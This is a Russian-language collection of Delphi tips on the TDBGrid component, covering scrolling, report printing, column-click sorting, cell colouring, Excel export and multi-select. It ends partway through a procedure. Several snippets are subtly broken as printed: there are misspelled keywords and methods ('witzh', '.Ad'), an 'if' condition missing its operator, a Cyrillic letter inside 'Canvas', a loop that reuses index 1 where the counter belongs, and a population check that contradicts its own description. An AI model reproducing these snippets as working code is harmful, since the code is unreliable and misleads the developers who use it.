Я прокручиваю таблицу, связанную с набором данных. "Поиск" в наборе данных замедляет процесс скролирования (условимся называть "поиском" синхронное перемещение табличного курсора в процессе скроллирования, при котором текущей записью становится запись, ближайшая к нажимаемой кнопке полосы прокрутки). Возникла задача: необходимо отменить "поиск" (процесс слежения) и переместить указатель на необходимую запись только в случае остановки пользователем процесса скроллирования, другими словами - пока пользователь осуществляет скроллирование, "поиск" необходимо отменить. Итак, ко мне в голову пришла мысль, что с помощью PeekMessage() можно выловить определенное сообщение и тем самым отменить поиск во время прокрутки. Звучит просто, но на самом деле все оказалось наоборот.

Я установил фильтр поиска сообщений на WM_MOUSEFIRST/LAST. Ситуация: пользователь непрерывно прокручивает DBGrid вниз, т.е. держит нажатой нижнюю кнопку скроллирования. В результате PeekMessage() возвращает False - нас это не устраивает, это не то, что мы хотим. Положительный результат можно получить только в случае сверхскоростных манипуляций мышью.

Если в фильтре использовать 0 и 0, чтобы поймать любое сообщение, результат всегда будет True. Причина, очевидно в том, что любой щелчок мыши в области DBGrid никак не обойдется без последствий, генерация системой сообщения PAINT яркий тому пример, поэтому PeekMessage может возвратить True в любое время, что тоже не может нам помочь.

Было бы хорошо, если бы дескриптор DBGrid получал событие OnMouseUp() во время его скроллирования. Обидно, но OnMouseUp() работает только с DBGrid, а не с полосами прокрутки. OnMouseUp() с TForm при KeyPreview:=true не работает, я проверял.

После пришла идея опросить состояние кнопок мыши с помощью функции GetKeyState(). Пока кнопка нажата (DOWN), "поиск" запрещен, и наоборот. UP (кнопка отжата) свидетельствует об окончании процесса скроллирования. Данный способ работы с окном во время манипуляций с его полосой прокрутки заработал без проблем. Теперь все в порядке: поиска во время прокрутки не происходит и табличный курсор также никуда не перемещается.

Рассмотренная тема имеет отношение к полосам прокрутки, а события OnKeyUp() и OnMouseUp() могут применяться где-нибудь еще.

Взято с http://delphiworld.narod.ru


Печать содержимого DBGrid через QuickReport

Автор: Rafael Ribas Aguilу

Частенько у пользователя возникает необходимость распечатать отчёт из базы данных. Естественно, что он начинает просить Вас добавить такую возможность в приложение. Как оказалось, при помощи TQuickRep данную задачу можно очень легко решить.

Итак, приступим. Для начала создайте новую форму, назвав её TGridReport, и поместите на неё TQuickRep. Переименуйте QuickRep в GridRep. Затем сделайте следующию процедуру, которая получает в качестве параметра DBGrid:

procedure TGridReport.Preview(Grid: TDBGrid);
var
  i, CurrentLeft, CurrentTop : integer;
  BMark: TBookmark;
begin
  GridRep.Dataset:=Grid.DataSource.DataSet;

  if not GridRep.Bands.HasColumnHeader then
    GridRep.Bands.HasColumnHeader:=true;

  if not GridRep.Bands.HasDetail then
    GridRep.Bands.HasDetail:=true;

  GridRep.Bands.ColumnHeaderBand.Height:=Abs(Grid.TitleFont.Height) + 10;
  GridRep.Bands.DetailBand.Height:=Abs(Grid.Font.Height) + 10;
  CurrentLeft := 12;
  CurrentTop := 6;

  {Запись, на которой пользователь останавливается в DBGrid}
  BMark:=Grid.DataSource.DataSet.GetBookmark;
  {Запретим мерцание грида в процессе работы отчёта}
  Grid.DataSource.DataSet.DisableControls;
  try
    for i:=0 to Grid.FieldCount - 1 do
    begin
      if (CurrentLeft + Canvas.TextWidth(Grid.Columns[i].Title.Caption)) >
        (GridRep.Bands.ColumnHeaderBand.Width) then
      begin
        CurrentLeft := 12;
        CurrentTop := CurrentTop + Canvas.TextHeight('A') + 6;
        GridRep.Bands.ColumnHeaderBand.Height := GridRep.Bands.ColumnHeaderBand.Height +
          (Canvas.TextHeight('A') + 10);
        GridRep.Bands.DetailBand.Height := GridRep.Bands.DetailBand.Height +
          (Canvas.TextHeight('A') + 10);
      end;
      {Создадим заголовок отчёта при помощи QRLabels}
      with TQRLabel.Create(GridRep.Bands.ColumnHeaderBand) do
      begin
        Parent := GridRep.Bands.ColumnHeaderBand;
        Color := GridRep.Bands.ColumnHeaderBand.Color;
        Left := CurrentLeft;
        Top := CurrentTop;
        Caption:=Grid.Columns[i].Title.Caption;
      end;
      {Создадим тело отчёта при помощи QRDBText}
      with TQRDbText.Create(GridRep.Bands.DetailBand) do
      begin
        Parent := GridRep.Bands.DetailBand;
        Color := GridRep.Bands.DetailBand.Color;
        Left := CurrentLeft;
        Top := CurrentTop;
        Alignment:=Grid.Columns[i].Alignment;
        AutoSize:=false;
        AutoStretch:=true;
        Width:=Grid.Columns[i].Width;
        Dataset:=GridRep.Dataset;
        DataField:=Grid.Fields[i].FieldName;
        CurrentLeft:=CurrentLeft + (Grid.Columns[i].Width) + 15;
      end;
    end;

    lblPage.Left := bdTitle.Width - lblPage.Width - 10;
    lblDate.Left := bdTitle.Width - lblDate.Width - 10;

    {Далее вызовем метод предварительного просмотра из QuickRep}
    GridRep.PreviewModal; {либо, если желаете, то PreviewModal}

  finally
    with Grid.DataSource.DataSet do
    begin
      GotoBookmark(BMark);
      FreeBookmark(BMark);
      EnableControls;
    end;
  end;
end;
Взято из http://forum.sources.ru


Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?

Для этого необходимо переопределить метод Paint. Внутри метода Paint Вы должны вызвать API процедуру SetScrollRange для установки минимального и максимального значений скроллирования в ноль (тем самым запретив скроллбар), а затем вызвать inherited. Следующий код, это unit содержащий новый компонент под названием TNoScrollBarDBGrid, который делает это.

type
  TNoScrollBarDBGrid = class(TDBGrid)
  private
  protected
    procedure Paint; override;
  public
  published
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TNoScrollBarDBGrid]);
end;

{ TNoScrollBarDBGrid }

procedure TNoScrollBarDBGrid.Paint;
begin
  SetScrollRange(Handle, SB_VERT, 0, 0, false);
  inherited;
end;

Взято из http://forum.sources.ru


Сортировка DBGrid по клику на колонке?

На форме расположены TQuery, TDatasource и TDbGrid связанные вместе.

QuerySQL, это глобальная строка, которая содержит SQL-выражение.

begin
  QuerySQL := 'SELECT * FROM Customer.DB';
  Query1.SQL.Add(QuerySQL);
  Query1.Open;
end;

В DBGrid в событии OnTitleClick, достаточно добавить ORDER-BY к sql-строке и обновить запрос.

procedure TForm1.DBGrid1TitleClick(Column: TColumn);
begin
  witzh Query1 do
  begin
    DisableControls;
    Close;
    SQL.Clear;
    SQL.Add(QuerySQL);
    SQL.Add('ORDER BY ' + Column.FieldName);
    Open;
    // Восстанавливаем настройки заголовка, иначе всё станет синим
    DBGrid1.Columns.RestoreDefaults;
    Column.Title.Font.Color := clBlue;
    EnableControls;
  end;
end;
Взято из http://forum.sources.ru

Кyсочек кода, чтобы повесить на clickable столбец RxGrid, показывающий RxQuery с опpеделенным макpосом %Order. Работать не бyдет (без модyлей), но в качестве идеи может быть полезен.

unit vgRXutil;

interface

uses
  SysUtils, Classes, DB, DBTables, rxLookup, RxQuery;

{ TrxDBLookup }
procedure RefreshRXLookup(Lookup: TrxLookupControl);
procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);

function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;

{ TRxQuery }

{ Applicatable to SQL's without SELECT * syntax }

{ Inserts FieldName into first position in '%Order' macro and refreshes query }
procedure HandleOrderMacro(Query: TRxQuery; Field: TField);

{ Sets '%Order' macro, if defined, and refreshes query }
procedure InsertOrderBy(Query: TRxQuery; NewOrder: string);

{ Converts list of order fields if defined and refreshes query }
procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);

implementation
uses
  vgUtils, vgDBUtl, vgBDEUtl;

{ TrxDBLookup refresh }

type
  TRXLookupControlHack = class(TrxLookupControl)
    property DataSource;
    property LookupSource;
    property Value;
    property EmptyValue;
  end;

procedure RefreshRXLookup(Lookup: TrxLookupControl);
var
  SaveField: string;
begin
  with TRXLookupControlHack(Lookup) do
  begin
    SaveField := DataField;
    DataField := '';
    DataField := SaveField;
  end;
end;

procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);
var
  SaveField: string;
begin
  with TRXLookupControlHack(Lookup) do
  begin
    SaveField := LookupDisplay;
    LookupDisplay := '';
    LookupDisplay := SaveField;
  end;
end;

function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;
begin
  with TRXLookupControlHack(Lookup) do
  try
    if Value <> EmptyValue then
      Result := StrToInt(Value)
    else
      Result := 0;
  except
    Result := 0;
  end;
end;

procedure InsertOrderBy(Query: TRxQuery; NewOrder: string);
var
  Param: TParam;
  OldActive: Boolean;
  OldOrder: string;
  Bmk: TPKBookMark;
begin
  Param := FindParam(Query.Macros, 'Order');
  if not Assigned(Param) then
    Exit;

  OldOrder := Param.AsString;

  if OldOrder <> NewOrder then
  begin
    OldActive := Query.Active;
    if OldActive then
      Bmk := GetPKBookmark(Query, '');
    try
      Query.Close;
      Param.AsString := NewOrder;
      try
        Query.Prepare;
      except
        Param.AsString := OldOrder;
      end;
      Query.Active := OldActive;
      if OldActive then
        SetToPKBookMark(Query, Bmk);
    finally
      if OldActive then
        FreePKBookmark(Bmk);
    end;
  end;
end;

procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);
var
  NewOrderFields: TStrings;

  procedure AddOrderField(S: string);
  begin
    if NewOrderFields.IndexOf(S) < 0 then
      NewOrderFields.Add(S);
  end;

var
  I, J: Integer;
  Field: TField;
  FieldDef: TFieldDef;
  S: string;
begin
  NewOrderFields := TStringList.Create;
  with Query do
  try
    for I := 0 to OrderFields.Count - 1 do
    begin
      S := OrderFields[I];
      Field := FindField(S);
      if Assigned(Field) and (Field.FieldNo > 0) then
        AddOrderField(IntToStr(Field.FieldNo))
      else
      try
        J := StrToInt(S);
        if J < FieldDefs.Count then
          AddOrderField(IntToStr(J));
      except
      end;
    end;
    OrderFields.Assign(NewOrderFields);
  finally
    NewOrderFields.Free;
  end;
end;

procedure HandleOrderMacro(Query: TRxQuery; Field: TField);
var
  Param: TParam;
  Tmp, OldOrder, NewOrder: string;
  I: Integer;
  C: Char;
  TmpField: TField;
  OrderFields: TStrings;
begin
  Param := FindParam(Query.Macros, 'Order');
  if not Assigned(Param) or Field.Calculated or Field.Lookup then
    Exit;
  OldOrder := Param.AsString;
  I := 0;
  Tmp := '';
  OrderFields := TStringList.Create;
  try
    OrderFields.Ad(Field.FieldName);
    while I < Length(OldOrder) do
    begin
      Inc(I);
      C := OldOrder[I];
      if C in FieldNameChars then
        Tmp := Tmp + C;

      if (not (C in FieldNameChars) or (I = Length(OldOrder))) and (Tmp <> '')
        then
      begin
        TmpField := Field.DataSet.FindField(Tmp);
        if OrderFields.IndexOf(Tmp) < 0 then
          OrderFields.Add(Tmp);
        Tmp := '';
      end;
    end;

    UpdateOrderFields(Query, OrderFields);
    NewOrder := OrderFields[0];
    for I := 1 to OrderFields.Count - 1 do
      NewOrder := NewOrder + ', ' + OrderFields[1];
  finally
    OrderFields.Free;
  end;
  InsertOrderBy(Query, NewOrder);
end;

end.

Автор: Nomadic

Взято с http://delphiworld.narod.ru

Многие профессиональные приложения отображают данные в полях табличной сетки и позволяют Вам сортировать любую колонку, просто щелкая по ее заголовку. То, что здесь изложено - не наилучший путь для решения задачи, данная технология ничто иное, как простая имитация такого поведения компонента.

Главное препятствие в решении задачи - сам DBGrid. Проблема в отсутствии событий OnClick или OnMouseDown, позволяющие реагировать на элементарные манипуляции с заголовком. Правда, существует событие OnDoubleClick, но для данной цели оно не слишком изящно. Все что нам нужно - сделать заголовок, реагирующий на однократный щелчок мышью. Обратимся к компоненту THeaderControl.

THeaderControl - компонент, введенный в палитру еще в Delphi 2.0 и обеспечивающий необходимые нам функции. Главное достоинство - реакция компонента при щелчке на отдельных панелях, панели также обеспечивают визульное отображение подобно кнопке (могут вдавливаться и отжиматься). Нам необходимо "прикрутить" THeaderControl к DBGrid. Вот как это сделать:

Во-первых, создайте новое приложение. Положите THeaderControl на форму. Он автоматически выровняется по верхнему краю формы. Затем поместите на форму DBGrid и присвойте свойству Align значение alClient. Затем добавьте компоненты TTable и TDataSource. В компоненте TTable присвойте свойству DatabaseName значение DBDEMOS, а свойству TableName значение EVENTS.DB. В TDataSource укажите в свойстве DataSet на компонент Table1, а в TDBGrid в свойстве DataSource на DataSource1. Если свойство Active компонента TTable было неактивно, включите его (значение True). Теперь немного поколдуем!

Сделаем так, чтобы компонент THeaderControl выглядел похожим на заголовок компонента DBGrid. Произведем необходимые манипулиции в момент создания формы. Дважды щелкните на событии OnCreate формы и введите следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
  TheCap: string;
  TheWidth, a: Integer;
begin
  DBGrid1.Options := DBGrid1.Options - [dgTitles];
  HeaderControl1.Sections.Add;
  HeaderControl1.Sections.Items[0].Width := 12;
  Table1.Exclusive := True;
  Table1.Active := True;
  for a := 1 to DBGrid1.Columns.Count do
  begin
    with DBGrid1.Columns.Items[a - 1] do
    begin
      TheCap := Title.Caption;
      TheWidth := Width;
    end;
    with HeaderControl1.Sections do
    begin
      Add;
      Items[a].Text := TheCap;
      Items[a].Width := TheWidth + 1;
      Items[a].MinWidth := TheWidth + 1;
      Items[a].MaxWidth := TheWidth + 1;
    end;
    try
      Table1.AddIndex(TheCap, TheCap, []);
    except
      HeaderControl1.Sections.Items[a].AllowClick := False;
    end;
  end;
  Table1.Active := False;
  Table1.Exclusive := False;
  Table1.Active := True;
end;

После того как THeaderControl заменил стандартный заголовок DBGrid, в первую очередь мы сбрасываем (устанавливаем в False) флаг dgTitles в свойстве Options компонента DBGrid. Затем мы добавляем колонку в HeaderControl и устанавливаем ее ширину, равную 12. Это будет пустой колонкой, которая имеет ту же ширину, что и левая колонка статуса в DBGrid.

Затем нужно убедиться что таблица открыта для эксклюзивного доступа (никакие другие пользователи использовать ее не смогут). Причину я объясню немного позже.

Теперь добавляем секции в HeaderControl. Для каждой добавленной колонки мы создаем в заголовке тот же текст, что и в соответствующей колонке DBGrid. В цикле мы проходим по всем колонкам DBGrid и повторяем текст заголовка колонки и его высоту. Мы также устанавливаем для HeaderControl значения свойств MinWidth и MaxWidth, равными ширине соответствующей колонки в DBGrid. Это предохранит колонки от изменения их ширины. Для изменяющих размер колонок нужно дополнительное кодирование, и я решил не лишать Вас этого удовольствия.

Теперь самое интересное. Мы собираемся создать индекс для каждой колонки в DBGrid. Имя индекса будет таким же, как и название колонки. Данный код мы должны заключить в конструкцию try..finally, поскольку существуют некоторые поля, которые не могут быть проиндексированы (например, Blob- и Memo-поля). При попытке индексации этих полей генерится исключительная ситуация. Мы перехватываем это исключение и недопускаем возможности щелчка на данной колонке. Это означает, что колонки, содержащие неиндексированные поля, не будут реагировать на щелчок мышью. Создание этих индексов служит объяснением тому, почему таблица должна быть открыта в режиме эксклюзивного доступа. И в заключение мы закрываем таблицу, сбрасываем флаг эксклюзивности и снова делаем таблицу активной.

Последний шаг. При щелчке на HeaderControl нам необходимо включить правильный индекс таблицы. Создадим обработчик события OnSectionClick компонента HeaderControl как показано ниже:

procedure TForm1.HeaderControl1SectionClick(
HeaderControl: THeaderControl; Section: THeaderSection);
begin
  Table1.IndexName := Section.Text;
end;

Это все! После щелчка на заголовке колонки значение свойства таблицы IndexName становится равным заголовку компонента HeaderControl.

Просто и красиво, да? Тем не менее есть масса мест, требующих улучшения. К примеру, вторичный щелчок должен возобновлять порядок сортировки. Или возможность изменения размера самих колонок. Попробуйте сами, это не сложно!

Улучшения

Здесь приведен улучшенный код по сравнению с предыдущей версией "Совета", он заключается в использовании в качестве имени индекса имя поля вместо заголовка.

Это улучшает гибкость. Изменения указаны наклонным курсивом.

procedure TfrmDoc.FormCreate(Sender: TObject);
var
  TheCap: string;
  TheFn: string;
  TheWidth: Integer;
  a: Integer;
begin
  Dbgrid1.Options := DBGrid1.Options - [DGTitles];
  Headercontrol1.sections.Add;
  Headercontrol1.Sections.Items[0].Width := 12;
  for a := 1 to DBGRID1.Columns.Count do
  begin
    with DBGrid1.Columns.Items[a - 1] do
    begin
      TheFn := FieldName;
      TheCap := Title.Caption;
      TheWidth := Width;
    end;
    with Headercontrol1.Sections do
    begin
      Add;
      Items[a].Text := TheCap;
      Items[a].Width := TheWidth + 1;
      Items[a].MinWidth := TheWidth + 1;
      Items[a].MaxWidth := TheWidth + 1;
    end;
    try
      { Используем индексы с тем же именем, что и имя поля }
      (DataSource1.Dataset as TTable).IndexName := TheFn;
        { Пробуем задать имя индекса }
    except
      HeaderControl1.Sections.Items[a].AllowClick := False; { Индекс недоступен }
    end;
  end;
end;

Используйте свойство FieldName компонента DBGrid для задания индекса с тем же именем, что и имя поля.

procedure TfrmDoc.HeaderControl1SectionClick(HeaderControl:
THeaderControl; Section: THeaderSection);
begin
  (DataSource1.Dataset as TTable).IndexName :=
  DBGrid1.Columns.Items[ Section.Index - 1 ].FieldName;
end;

Взято с http://delphiworld.narod.ru


Как показать DbGrid в режиме disabled?

Ниже приведен пример, меняющий цвет шрифта на clGray, когда доступ к элементу управления (в данном случае TDBGrid) запрещен (disabled).

procedure TForm1.Button1Click(Sender: TObject);
begin
  DbGrid1.Enabled := false;
  DbGrid1.Font.Color := clGray;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  DbGrid1.Enabled := true;
  DbGrid1.Font.Color := clBlack;
end;

Взято из http://forum.sources.ru


Как экспортировать содержимое DBGrid в Excel или ClipBoard?

Пример dbgrid (DBGrid1) имеет всплывающее меню, которое позволяет две опции "Send to Excel" и "Copy"

// ЗАМЕЧАНИЕ: этот метод должен включать COMObj, Excel97 units

// ОБНОВЛЕНИЕ: если Вы используете Delphi 4, то замените xlWBatWorkSheet на 1 (один)

//-----------------------------------------------------------
// если toExcel = false, то экспортируем содержимое dbgrid в Clipboard
// если toExcel = true, то экспортируем содержимое dbgrid в Microsoft Excel
procedure ExportDBGrid(toExcel: Boolean);
var
  bm: TBookmark;
  col, row: Integer;
  sline: String;
  mem: TMemo;
  ExcelApp: Variant;
begin
  Screen.Cursor := crHourglass;
  DBGrid1.DataSource.DataSet.DisableControls;
  bm := DBGrid1.DataSource.DataSet.GetBookmark;
  DBGrid1.DataSource.DataSet.First;

  // создаём объект Excel
  if toExcel then
  begin
    ExcelApp := CreateOleObject('Excel.Application');
    ExcelApp.WorkBooks.Add(xlWBatWorkSheet);
    ExcelApp.WorkBooks[1].WorkSheets[1].Name := 'Grid Data';
  end;

  // Сперва отправляем данные в memo
  // работает быстрее, чем отправлять их напрямую в Excel
  mem := TMemo.Create(Self);
  mem.Visible := false;
  mem.Parent := MainForm;
  mem.Clear;
  sline := '';

  // добавляем информацию для имён колонок
  for col := 0 to DBGrid1.FieldCount-1 do
    sline := sline + DBGrid1.Fields[col].DisplayLabel + #9;
  mem.Lines.Add(sline);

  // получаем данные из memo
  for row := 0 to DBGrid1.DataSource.DataSet.RecordCount-1 do
  begin
    sline := '';
    for col := 0 to DBGrid1.FieldCount-1 do
      sline := sline + DBGrid1.Fields[col].AsString + #9;
    mem.Lines.Add(sline);
    DBGrid1.DataSource.DataSet.Next;
  end;

  // копируем данные в clipboard
  mem.SelectAll;
  mem.CopyToClipboard;

  // если необходимо, то отправляем их в Excel
  // если нет, то они уже в буфере обмена
  if toExcel then
  begin
    ExcelApp.Workbooks[1].WorkSheets['Grid Data'].Paste;
    ExcelApp.Visible := true;
  end;

  FreeAndNil(ExcelApp);
  DBGrid1.DataSource.DataSet.GotoBookmark(bm);
  DBGrid1.DataSource.DataSet.FreeBookmark(bm);
  DBGrid1.DataSource.DataSet.EnableControls;
  Screen.Cursor := crDefault;
end;
Взято из http://forum.sources.ru


Как получить содержимое поля[1,1] DBGrid?

DBGrid.SelectedRow.Fields[1].Value

Взято с сайта http://blackman.wp-club.net/


Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?

procedure TDbGridEx.ColEnter;

procedure ProcessColEnter;
begin
 // -----------------------------------------------------------
 if (SelectedIndex  _Mark) then
   begin
     ColumnMoved(Columns.Count, StaticCol + 1);
     SelectedField := Fields[StaticCol];
   end;
   Exit;
 end;

 // -----------------------------------------------------------
 if (SelectedIndex > StaticCol) then
 begin

   if _LastSelectedIndex = StaticCol then
   begin
     if _Mark = Columns[SelectedIndex].Title.Caption then

     begin
       ColumnMoved(StaticCol + 1, Columns.Count);
       SelectedField := Fields[Columns.Count - 1];
     end
       else
     begin
       ColumnMoved(StaticCol + 1, Columns.Count);
       SelectedField := Fields[StaticCol];
     end;
   end;

 end;
end;

begin
 if (_EntryCol > 0) or _MouseDown or (StaticCol = 0) then
 begin
   _MouseDown := FALSE;
 end else
 begin
   inc(_EntryCol);
   ProcessColEnter;
   dec(_EntryCol);
 end;

 if Assigned(OnColEnter) then OnColEnter(Self);

 _LastSelectedIndex := SelectedIndex;
end;
Автор: Ramil Galiev
(2:5085/33.11)

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Как заблокировать функцию вставки записи в компоненте TDBGrid?

Не могли бы вы подсказать, как заблокировать функцию вставки записи непосредственно в компоненте TDBGrid с сохранением всех остальных возможностей редактирования таблицы.

Наиболее разумным представляется создать обработчик события OnBeforeInsert компонента TTable, TQuery или TClientDataSet, данные из которых отображаются в TDBGrid. Сам компонент TDBGrid не имеет подходящего события для обработки, так как это компонент, предназначенный только для создания пользовательского интерфейса, а в данном случае следует, по существу, запретить добавление записей в таблицу.

Наталия Елманова
Взято из http://forum.sources.ru


Самый продвинутый DBGrid

Самый продвинутый DBGrid можно найти здесь: http://www.ehlib.com
Вот краткое описание, которое дал Петрович:

Для всех работающих с DBGrid да и вообще с DataAware-компонентами, очень рекомендую бесплатную библиотеку EhLib (Сайт разработчика). В ней есть небольшой, но ОЧЕНЬ мощный набор визуальных компонент для работы с БД. В частности DBGridEh в котором реализованы: многострочные заголовки, сортировка при шелчке по заголовку колонки (включая сортировку по нескольким колонкам), инкрементальный поиск, фильтрование записей, агрегативные функции, и много других возможностей. Причем все это реализуется для большинства DataSet'ов (BDE, ADO, ...), более того, можно подключить и еще не существующие.
Библиотека бесплатна для росийских пользователей, и включает исходные тексты.
Сам уже полгода пользуюсь, теперь стандартные компоненты страницы DataControl в дельфи мне не нужны!

Автор: Петрович

Взято из http://forum.sources.ru


Выделить все поля в TDBGrid?

function GridSelectAll(Grid: TDBGrid): Longint;
begin
  Result := 0;
  Grid.SelectedRows.Clear;
  with Grid.DataSource.DataSet do
  begin
    First;
    DisableControls;
    try
      while not EOF do
      begin
        Grid.SelectedRows.CurrentRowSelected := True;
        Inc(Result);
        Next;
      end;
    finally
      EnableControls;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  GridSelectAll(DBGrid1);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как передвинуть колонку в TDBGrid?

type
  THackAccess = class(TCustomGrid);

{
  THackAccess Is needed because TCustomGrid.MoveColumn is
  protected and you can't access it directly.
}

// In the implementation-Section:

procedure MoveDBGridColumns(DBGrid: TDBGrid; FromColumn, ToColumn: Integer);
begin
  THackAccess(DBGrid).MoveColumn(FromColumn, ToColumn);
end;

{Example}

procedure TForm1.Button1Click(Sender: TObject);
begin
  MoveDBGridColumns(DBGrid1, 1, 2)
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Цвета в TDBGrid

// Function to color a DBGrid (declared as private)

procedure TForm1.ColorGrid(dbgIn: TDBGrid; qryIn: TQuery; const Rect: TRect;
  DataCol: Integer; Column: TColumn;
  State: TGridDrawState);
var
  iValue: LongInt;
begin
  // color only the first field
  if (DataCol = 0) then
  begin
    // Check the field value and assign a color
    iValue := qryIn.FieldByName('HINWEIS_COLOR').AsInteger;
    case iValue of
      1: dbgIn.Canvas.Brush.Color := clGreen;
      2: dbgIn.Canvas.Brush.Color := clLime;
      3: dbgIn.Canvas.Brush.Color := clYellow;
      4: dbgIn.Canvas.Brush.Color := clRed;
    end;
    // Draw the field
    dbgIn.DefaultDrawColumnCell(Rect, DataCol, Column, State);
  end;
end;

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;
  const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
  ColorGrid(DBGrid1, Query1, Rect, DataCol, Column, State);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

С DBGrids это делается намного проще. Здесь мы будем использовать событие "OnDrawColumnCell". Следующий пример разукрашивает ячейки колонки "Status" когда значение НЕ равно "a". Если Вы хотите закрасить целую линию, то достаточно удалить условие "If..." (смотрите ниже)

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
const
  clPaleGreen = TColor($CCFFCC);
  clPaleRed = TColor($CCCCFF);
begin
  if Column.FieldName = 'Status' then //Удалите эту линию, если хотете закрасить целую линию
    if Column.Field.Dataset.FieldByName('Status').AsString <> 'a' then
      if (gdFocused in State) then //имеет ли ячейка фокус?
        DBGrid1.Сanvas.Brush.Color := clBlack //имеет фокус
      else
        DBGrid1.Сanvas.Brush.Color := clPaleGreen; //не имеет фокуса

  //Теперь давайте закрасим ячейку используя стандартный метод:
  DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State)
end;

Вот и всё. Не правда ли красиво?

Фрагмент кода моей программы - в зависимости от значения в поле taPlatAnswerType рисует строку белам цветом на красном фоне:

procedure TfmMain.dgPlatDrawColumnCell(Sender: TObject; const Rect:
TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
  with dgPlat.Canvas do
  begin
    // Условие какую строку надо рисовать по другому
    if (taPlatAnswerType.AsString = 'b') and not (gdFocused in State) then
    begin
      Brush.Color := clRed;
      Font.Color := clWhite;
      FillRect(Rect);
      TextOut(Rect.Left, Rect.Top, Column.Field.Text);
    end
    else
      dgPlat.DefaultDrawColumnCell(Rect, DataCol, Column, State);
  end;
end;

Взято с http://delphiworld.narod.ru

Не знаю, помогу ли я Вам, но я расскажу как можно изменить цвет отдельных ячеек GBGrid без необходимости создания нового компонента. Я только что протестировал этот код....

Я создал форму, поместил на ней компонент TTable и указал ему на таблицу EMPLOYEE.DB в базе данных DBDEMOS. Затем я разместил на форме Datasource и DBGrid, "соединил" их и получил живые данные.

Для демонстрации данной технологии я выбрал поле "номер служащего" в таблице EMPLOYEE.DB и "покрасил" ячейки с нечетными числами. То есть, если число нечетное, красим ячейку в зеленый цвет.

Единственный код расположился в обработчике события OnDrawColumnCell компонента DBGrid и выглядел он так:

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect:
  TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState);
var
  holdColor: TColor;
begin
  holdColor := DBGrid1.Canvas.Brush.Color; {сохраняем оригинальный цвет}
  {"раскрашиваем" ячейки только для поля EmpNo}
  if Column.FieldName = 'EmpNo' then
    if (Column.Field.AsInteger mod 2 <> 0) then
    begin
      DBGrid1.Canvas.Brush.Color := clGreen;
      DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State);
      DBGrid1.Canvas.Brush.Color := holdColor;
    end;
end;

В данном случае мы использовали метод DefaultDrawColumnCell компонента TCustomDBGrid, являющегося родителем для TDBGrid. Он раскрасил зеленым цветом нечетные ячейки поля EmpNo.

Взято с http://delphiworld.narod.ru

Есть ли какой-либо способ придать ячейке DBGrid другой цвет? Мне хотелось бы выделить отдельные ячейки строки по определенному признаку. Типа флага, который, если если счет просрочен свыше 90 дней, делает строчку красной. Буду благодарен за любую помощь.

Обработайте событие OnDrawDataCell. Вот пример, который использует демонстрационную таблицу COUNTRY и рисует текст красным цветом во всех строках, содержащих страны с населением свыше 10 миллионов человек:

begin
  if Table1.FieldByName('Population').AsFloat < 10000000 then
    DBGrid1.Canvas.Font.Color := clRed;
  dbGrid1.DefaultDrawDataCell(Rect,Field,State);
end;

Взято с http://delphiworld.narod.ru


Как работать с выделенными запясями в TDBGrid?

{
 In the "Object Inspector" set your DBGrid's Option for dgMultiSelect = True.
 The Grid_Edit function calls for each selected DBGrid-Row a data-processing
 function.
 Return value is the number of processed rows.
}

function TForm1.Grid_Edit(dbgIn: TDBGrid; qryIn: TQuery): Longint;
  // declared in the private section
begin
  Result := 0;
  with dbgIn.DataSource.DataSet do
  begin
    First;
    DisableControls;
    try
      while not EOF do
      begin
        if (dbgIn.SelectedRows.CurrentRowSelected = True) then
        begin
          { +++ Call here the data-processing function +++

          }
          Inc(Result);
        end;
        Next;
      end;
    finally
      EnableControls;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Caption := 'Processed: ' + IntToStr(Grid_Edit(DBGrid1, Query1));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как заставить корректно работать mouse wheel в TDBGrid?

{....}

public
  procedure AppMessage(var Msg: TMsg; var Handled: Boolean);

{....}

procedure TForm1.AppMessage(var Msg: TMsg; var Handled: Boolean);
var
  i: SmallInt;
begin
  {Mouse wheel behaves strangely with dgbgrids - this proc sorts this out}
  if Msg.message = WM_MOUSEWHEEL then
  begin
    Msg.message := WM_KEYDOWN;
    Msg.lParam := 0;
    i := HiWord(Msg.wParam);
    if i > 0 then
      Msg.wParam := VK_UP
    else
      Msg.wParam := VK_DOWN;

    Handled := False;
  end;
end;

  // And in the project source:

{....}

Application.OnMessage := Form1.AppMessage;

{....}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как изменить цвет отмеченных записей в DBGrid

DefaultDrawing := False;
...

procedure TfrmCard.GridDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
var
  index: Integer;
  Marked, Selected: Boolean;
begin
  Marked := False;
  if (dgMultiSelect in Grid.Options) and (THackDBGrid(Grid).Datalink.Active) then
    Marked := Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark, index);
